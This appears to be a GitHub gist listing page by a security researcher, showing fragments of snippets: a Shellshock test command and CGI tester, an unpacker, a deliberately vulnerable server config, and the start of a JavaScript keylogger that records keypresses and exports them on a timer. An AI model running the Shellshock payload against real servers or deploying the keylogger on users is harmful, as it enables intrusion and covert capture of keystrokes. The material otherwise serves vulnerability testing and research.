Skip to content

Instantly share code, notes, and snippets.

View abhisek's full-sized avatar
👾
Building stuff

Abhisek Datta abhisek

👾
Building stuff
View GitHub Profile
require 'java'
java_import 'burp.IBurpExtender'
java_import 'burp.IHttpListener'
java_import 'burp.IProxyListener'
java_import 'burp.IScannerListener'
java_import 'burp.IExtensionStateListener'
class BurpExtender
include IBurpExtender, IHttpListener, IProxyListener, IScannerListener, IExtensionStateListener
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include <assert.h>
#!/bin/bash
printf "Content-type: text/html\n\n";
printf "Hello, World.";
env x='() { :;}; echo Vulnerable' bash -c "echo Hello"
@abhisek
abhisek / gist:c719322b44c2ad77203a
Created September 26, 2014 08:12
Shellshock CGI Test
require 'net/http'
require 'uri'
=begin
ruby shellshock.rb http://127.0.0.1/my-cgi/bolo.cgi
=end
if __FILE__ == $0
uri = ::URI.parse(ARGV.shift)
http = ::Net::HTTP.new(uri.host, uri.port)
@abhisek
abhisek / drop_exec.c
Created February 21, 2013 10:28
Change root, drop privilege and execute
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>
#define dprintf(__m) fprintf(stderr, "[DBG] %s\n", __m)
#define dvprintf(__m, ...) fprintf(stderr, "[DBG] " __m "\n", __VA_ARGS__)
@abhisek
abhisek / process_enum.cpp
Last active December 11, 2015 10:08
Win32 Process Enumeration
// non-reentrant
CHAR *_ToLowerCase(char *p)
{
static char _s_lower_str[4000];
int i;
memset(_s_lower_str, 0, sizeof(_s_lower_str));
for(i = 0; i < strlen(p); i++)
_s_lower_str[i] = tolower((int) p[i]);
@abhisek
abhisek / asunpack_229.rb
Created September 6, 2012 19:55
ASPack-2.29 Unpacker
#
# ASPack 2.29 unpacker via. Dynamic Analysis
#
$:.unshift("C:\\Lib\\metasm")
require 'metasm'
AS229_OEP_PUSH_OFFSET = 0x420
def _msg(m, error = false)
@abhisek
abhisek / Config.h
Created September 6, 2012 12:05
PingPing Vulnerable Server
#ifndef _CONFIG_H
#define _CONFIG_H
#define CFG_SRV_PORT 8389
#define CFG_MUTEX TEXT("BatMan")
#define CFG_SRV_FLAG TEXT("-booyah")
#endif
@abhisek
abhisek / webkey.js
Created September 2, 2012 09:26
Javascript Key Logger
var WEBKEY = {
dataLog: "",
start: function() {
window.onkeypress = function(ev) {
WEBKEY.dataLog += String.fromCharCode(ev.charCode);
}
setInterval("WEBKEY.exportLog();", 5000);
},
exportLog: function() {